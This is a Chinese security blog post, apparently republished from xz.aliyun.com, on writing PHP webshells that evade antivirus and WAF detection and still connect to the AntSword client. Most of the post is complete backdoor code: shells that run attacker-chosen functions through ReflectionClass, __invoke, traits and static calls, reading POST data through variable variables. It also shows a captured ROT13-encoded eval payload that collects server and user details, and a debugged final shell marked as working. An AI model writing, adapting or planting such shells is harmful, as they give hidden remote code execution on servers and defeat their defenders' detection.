Webshell免杀之蚁剑连接
2021-02-26 11:37:55 Author: xz.aliyun.com(查看原文) 阅读量:216 收藏

继上一篇Webshell免杀已经过去很久了,之前的工作只是完成了落地免杀和命令的执行,如果我们直接传参进行命令执行的话会很容易被WAF拦截。蚁剑有编码器这一功能可以方便我们绕过WAF的检测。
后来一次使用webshell过程中发现其并不能连接蚁剑,决定抓包简单分析一下流量修改我们的webshell。

上一篇只是提到了php中大家比较少用的tricks,所以这一次分享几个之前总结的一些成果。

ReflectionClass::newInstance

<?php

class Test1
{
    public function __construct($para, $_value)
    {
        $para($_value);
    }
}


$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_r1) {
    foreach ($$_r1 as $_asadasd=>$_wfwefb) {

                    $$_asadasd =$_wfwefb;
    }
}

$class2 = $class1->newInstance($_asadasd, $$_asadasd);

我们首先初始化一个反射类,传入要实例化类的类名,接下来用newInstance()方法对该类进行实例化。

  1. 我们的webshell需要接收两个参数,一个是函数,另一个是函数的参数,这里借用@郑瀚AndrewHann师傅的污点传递理论

  1. 接下来就是在构造函数内部执行命令,执行命令的方式是使用可变函数。当函数名被传入$para=assert时,构造函数内变为assert($_value)。函数的参数即我们要执行的命令。
  2. 最后解决参数的传递。常见的$_GET[]、$_POST[]、$_COOKIE[]...数组无法直接使用。我们依然利用PHP的动态特性,使webshell不出现$_GET[]、$_POST[]、$_COOKIE[]...。当程序执行到第二个foreach循环之前。我们的输入并没有参数来接收,直到我们使用可变变量出了$_POST[],并将其键值进一步操作后传入newInstance函数。

上面这个webshell依然可以进行变形。

<?php
class Test1
{
    private $para1 = '';
    private $para2 = '';

    public function __invoke($para1, $para2)
    {
        $para1($para2);
    }
    public function __construct($para1, $para2)
    {
        $this($para1, $para2);
    }
}

$class1 = new ReflectionClass("Test1");

foreach (array('_POST') as $_r1) {
    foreach ($$_r1 as $_asadasd=>$_wfwefb) {

                    $$_asadasd =$_wfwefb;
    }
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);
  • __invoke:当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。
    所以我们在构造函数内调用一次对象:$this($p1,$p2),接着会调用__invoke()函数实现命令执行。

trait(PHP 7)

php从以前到现在一直都是单继承的语言,无法同时从两个基类中继承属性和方法,为了解决这个问题,php出了Trait这个特性

  • 用法:通过在类中使用use关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,Trait不能实例化
<?php

trait Dog
{
    public $name="dog";

    public function drive()
    {
        echo "This is dog drive";
    }
    public function eat($a, $b)
    {
        $a($b);
    }
}

class Animal
{
    public function drive()
    {
        echo "This is animal drive";
    }
    public function eat()
    {
        echo "This is animal eat";
    }
}

class Cat extends Animal
{
    use Dog;
    public function drive()
    {
        echo "This is cat drive";
    }
}

foreach (array('_POST') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}


$cat = new Cat();
$cat->eat($_key, $_value);
  • 我们的参数依旧将键值数组中的分别传入。函数调用则使用PHP 7中的trait特性,最终实现可变函数的执行

静态调用非静态函数

<?php
class SimpleThis
{
    public function NonStatic($p1, $p2)
    {
        if (isset($this)) {
            echo '6';
        } else {
            $p1($p2);
        }
    }
}
foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}
SimpleThis::NonStatic($_key, $_value);

在C、Java中,非静态函数肯定是不能被静态调用的。首先会编译失败。但是PHP是个解释函数。至于原理:这里直接附上鸟哥的文章

将蚁剑挂上burpsuite。上传我们的一句话木马进行连接。

  • 请求的流量

assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q}    ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.="   ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.="   {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();
  • 可以得到webshell执行的内容为:assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));),接着&ca3a283bf3d534=xxxx为我们的第二个POST参数
    所以实际上webshell执行的是第二个随机参数的值。
  • 回显

Call to undefined function ca3a283bf3d534()这里报错未定义的函数,很显然我们的可变函数的函数名被覆盖了。并没有执行assert(),达到预期的结果。
实际上我们需要的是第一个POST参数即我们传入的assert。所以我们的webshell在循环数组时,造成了变量覆盖,后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。

修改

以第一个webshell为例:

<?php
$s0;
$s1;


class Test1
{
    public function __construct($para, $_value)
    {
        $para($_value);
    }
}



$class1 = new ReflectionClass("Test1");
print_r($class1);
foreach (array('_POST') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        for ($i=0;$i<1;$i++) {
            ${"s".$i} = $_key;
        }
        break;
    }
}
$class2 = $class1->newInstance($s0, $_value);

我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出,再传递即可。

success!


文章来源: http://xz.aliyun.com/t/9218
如有侵权请联系:admin#unsafe.sh